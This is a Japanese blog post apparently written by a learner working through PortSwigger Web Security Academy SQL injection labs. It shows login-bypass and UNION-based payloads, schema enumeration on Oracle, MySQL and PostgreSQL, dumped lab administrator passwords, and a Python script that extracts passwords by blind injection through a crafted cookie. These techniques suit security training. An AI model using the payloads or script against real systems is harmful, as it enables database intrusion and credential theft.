LoginSignup
0
0

More than 1 year has passed since last update.

【SQLi編】BurpSuite開発元のWebSecurity Academyに入門した

Last updated at Posted at 2022-08-22

はじめに

Burpsuiteの開発元の会社が、Webセキュリティの解説ページ(英語)を提供しています。
それを勉強したときの個人的な記録です。

SQL Injectionの解説ページ

URLのパラメータを工夫して、
サーバ側で実行されるSQLに細工すると、通常では見えないデータが見えることがある。

通常のリクエストで実行されるSQL
https://insecure-website.com/products?category=Gifts
->
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

'-- を上手くつかうと、常に成立する条件式にできる。

https://insecure-website.com/products?category=Gifts'+OR+1=1--
->
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

Subverting application logic

SQL Injection でパスワード判定を読み飛ばすことができる。

通常のログイン
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

SQLIを使うと、

User: administrator'--
Pass: tekitou

->
SELECT * FROM users WHERE username = 'administrator'--' AND password = tekitou'

SQL Injection Uniton Attack

Determining the number of columns required in an SQL injection UNION attack

unionを使うことで、クエリーに対するレスポンスのカラム数を調べることができる。

unionは下記のように2つのselect文を結合することができるが、
それぞれのselect文のレスポンスに含まれるカラム数が一致してなければエラーとなる。
また、それぞれのレスポンスの型も一致している必要がある。
SELECT a, b FROM table1 UNION SELECT c, d FROM table2

SQLiで下記のようにNULLと比較していき、
エラーが発生しない場合のNULLの個数がレスポンスのカラム数となる。

' UNION SELECT NULL--  
' UNION SELECT NULL,NULL--  
' UNION SELECT NULL,NULL,NULL--

こっちでも良い
' ORDER BY 1--  
' ORDER BY 2--  
' ORDER BY 3--

Finding columns with a useful data type in an SQL injection UNION attack

同様の発想で、レスポンスの型をカラムごとに推察することができる。

' UNION SELECT 'a',NULL,NULL,NULL--  
' UNION SELECT NULL,'a',NULL,NULL--  
' UNION SELECT NULL,NULL,'a',NULL--  
' UNION SELECT NULL,NULL,NULL,'a'--

lab

labは下記でOKだった。
なお、27ju0ZFnは問題条件で与えられている。
https://ac7a1f231e01348fc07611b30004008f.web-security-academy.net/filter?category=Lifestyle%27union+select+null,%27ju0ZFn%27,null--

Using an SQL injection UNION attack to retrieve interesting data

下記が分かればSQLiで、秘匿情報を取得できることになる。

  • レスポンスのカラム数
  • レスポンスの型
  • テーブル名
  • カラム名

lab

labでは、テーブル名とカラム名は前提条件として与えられている。

The database contains a different table called users, with columns called username and password.

カラム数が2個でそれぞれが文字列なことを確かめた後、下記リクエストを投げると、
ページ内にユーザ一覧とパスワードが表示された。
https://acbc1f071fd1f67bc0b0442b00690077.web-security-academy.net/filter?category=Gifts'+union+select+username,password+from+users--

carlos
q8wpl88egpzzm532awyc

wiener
wbns9vu1iumv909zonoe

administrator
ny1xgw6dwrhpz7ak503k

image.png

あとは、administratorとしてログインすればクリアとなる。

Examining the database in SQL injection attacks

DB自体の情報を集める手法について学ぶ。

Querying the database type and version

Union Attackで下記クエリを投げることで、データベースの種類を調べることができる。

type Query
MS, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

lab

とりあえず、DBの種類を調べてみると、Oracleを使っているようだ。

/filter?category=Gifts'union+select+@@version--

Make the database retrieve the strings: 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production'

Orcleはdualという組み込みテーブルがあるので、
それを使って、DBのカラム数と型を調べていく。

下記のリクエストでサーバエラーとならなかったので、
カラム2個でそれぞれ文字列なことが分かった。

'union+select+null,null+from+dual--
'union+select+'a','b'+from+dual--

あとは、Orcleのversionを問い合わせる。

SQL Cheat-SheetのDatabase versionを見ると下記の通り。

Oracle

SELECT banner FROM v$version  

SELECT version FROM v$instance

これをもとにUnion Attackを考えると、下記となると思ったが、
エラーとなった。

'union+SELECT+banner,version+FROM+v$version--

versionを知りたい場合は、そこのnullしないとダメらしい。

'union+SELECT+banner,null+FROM+v$version--

lab

まずはカラム数を確認する。

下記の形でNULLをいろいろな数で試すがすべてダメだった。

これはダメだった

'UNION+SELECT+NULL,NULL--

SQL Cheat-Sheetのコメントを見ると、 MySQLの場合は、--の末尾にスペースが必要とのこと。

下記のリクエストが成功したため、MySQLであること、カラムは2個必要なことがわかった。

'UNION+SELECT+NULL,NULL--+

あとは、MySQLのversionを問い合わせるだけでクリアとなった。

'UNION+SELECT+@@version,null--+

Listing the contents of the database

Oracle以外のDBならinformation schemaと呼ばれる情報にアクセスできる。

  • テーブルの一覧取得
SELECT * FROM information_schema.tables

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE  
=====================================================  
MyDatabase dbo Products BASE TABLE  
MyDatabase dbo Users BASE TABLE  
MyDatabase dbo Feedback BASE TABLE
  • カラムの一覧取得
SELECT * FROM information_schema.columns WHERE table_name = 'Users'

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE  
=================================================================  
MyDatabase dbo Users UserId int  
MyDatabase dbo Users Username varchar  
MyDatabase dbo Users Password varchar

lab

Union Atackを駆使しながら、テーブル名、カラム名を見つけ出し、管理者のアカウントにログインできればクリアとなる。

まずはこのページの、レスポンスのカラム数を確認すると2個だった。Oracleではない。(コメントアウト--で見分けれた)

information_schema.tablesをググると、table_nameというカラムがあることがわかるので、下記Union Attackでテーブル一覧を取得できる、。

https://ac8b1fc51f2c5ba2c0998fe300c70049.web-security-academy.net/filter?category=Pets%27+union+select+table_name,null+from+information_schema.tables--

ユーザー名に関係しそうなテーブルを探すと、users_wbxexpというのが怪しそうだった。

このテーブルのカラム名を表示してみる。

https://ac9e1fa11f7c00bbc05aa1ff00d30087.web-security-academy.net/filter?category=Gifts%27union+select+column_name,null+from+information_schema.columns+WHERE%20table_name=%27users_wbxexp%27--

username_ipmzug
password_rclrcf

27users_wbxexpテーブルに、
username_ipmzugカラムとpassword_rclrcfカラムがあることが分かった。

このカラムに格納されているデータを表示すると、
administrator/1881fpa6wls6b0pbbbgkが得られたので、ログインしてクリア。

'union+select+username_ipmzug,password_rclrcf+from+users_wbxexp-- 

administrator
1881fpa6wls6b0pbbbgk

Equivalent to information schema on Oracle

Oracleの場合でも、クエリは異なるがテーブル名一覧、カラム名一覧は取得できる。

SELECT * FROM all_tables

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

lab

Oracleのデータベースに対して、管理者のIDとパスワードを取得する問題

カラム数は2だった。

'union+select+null,null+from+dual--+

テーブル名一覧を表示させて、
ユーザー情報がありそうなテーブル名は下記2つだった。

'union+select+table_name,null+from+all_tables--+ 

USER$
USERS_UEMNTX

それぞれのテーブル名のカラムをチェックすると、
USERS_UEMNTXテーブルのカラム名が重要そうだった。

'union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_UEMNTX'--+

USERNAME_DLCRUI
PASSWORD_KUHMNR

それぞれのカラムを表示すると、管理者のID/PWが取得できた。
ログインしたらクリアとなった。

'union+select+USERNAME_DLCRUI,PASSWORD_KUHMNR+from+USERS_UEMNTX--+

administrator
dh22inzfycvwdj12ze45

Retrieving multiple values within a single column

クエリに対するレスポンスが1カラムの場合は、
文字列連結を使うことで複数カラムの情報を1カラム分として取得できる。

Oracleの場合は、||で文字列連結する。

' UNION SELECT username || '~' || password FROM users--

lab

DB名を探して、カラム名を探して管理者としてログインする問題。

カラムは2個のようだ。

'union+select+null,null--

PostgresSQLを使っている。

'union+select+version(),null-- 

PostgreSQL 11.14 (Debian 11.14-1.pgdg90+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit

テーブル一覧をみるとusers_zmudinテーブルが怪しい。

'union+select+table_name,null+FROM+information_schema.tables--
users_zmudin

カラム名を見てみる。

'union+select+column_name,null+FROM+information_schema.columns+WHERE+table_name='users_zmudin'-- 

username_oyvsbv
password_mibfgx

それぞれのカラム名で表示してみると、ID/PWが取得できた。

'union+select+username_oyvsbv,password_mibfgx+FROM+users_zmudin--

administrator
iebmd14w457mus3eddlg

lab

カラム数と文字列型の場所を探してみると、
カラム数は2個で、2個目が文字列型だった。

'union+select+null,'a'--

usernameとpasswrodというカラム名で、
usersテーブルがあることは問題文に明示されているため、
それぞれの文字列を連結すれば表示できた。

'union+select+null,username+||'~'||+password+from+users--

Blind Injection

Exploiting blind SQL injection by triggering conditional responses

クッキーを細工してSQLiを実行できる場合もある。

ブラウザからTrackingIdという値をもとにサーバー側でユーザー認証をする場合、
下記のようなSQLが実行されると想定できる。

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

この場合、TrackingIdを下記のように変更するとSQLiとなる。

TrackingId=u5YD3PapBcR4lN3e7Tj4' AND '1'='1

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND '1'='1'

lab

Union Attackを試してみると、nullの個数に関係なく毎回成功(200)が返ってくるため、
DBの構造を読むことができなかった。

Cookieの中にTrackingIdという独自のフィールドがあり、
そこにSQLiを仕込む余地がある。

'AND '1'='1   こっちは成功
'AND '1'='0   こっちは失敗

image.png

'AND (select substring(password,1,1) from users WHERE username='administrator')='§b§

Burpsuiteで1個づつ調べていくと良いのだが、
面倒で時間がかかる過ぎるとタイムアップしてしまうため、
pythonのwriteupを見た。

import requests  
import sys  
  
def blind_sql_injection(url, length):  
 output = ''  
 target = url  
 headers={}  
 for i in range(1, length+1):  
 base_cookie = "TrackingId=a'UNION SELECT 'a' from users WHERE username = 'administrator' and (ascii(substring(password,%s,1)))=[CHAR]--; session=Rict9ulgAu63wgQ3vkcsbQ9vfVUPsGBo"%str(i)  
 for j in range(32,126):  
 print("Currently trying digit %s with: "%str(i), chr(j))  
 cookie = base_cookie.replace("[CHAR]",str(j))  
 headers["cookie"]=cookie  
 res = requests.get(url, headers=headers)  
 if "Welcome" in res.content.decode('utf-8'):  
 output += chr(j)  
 break  
 print("Current password: ", output)  
  
url = "https://acff1f841e04dc72802261c1003500e8.web-security-academy.net/"  
blind_sql_injection(url, 20)
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0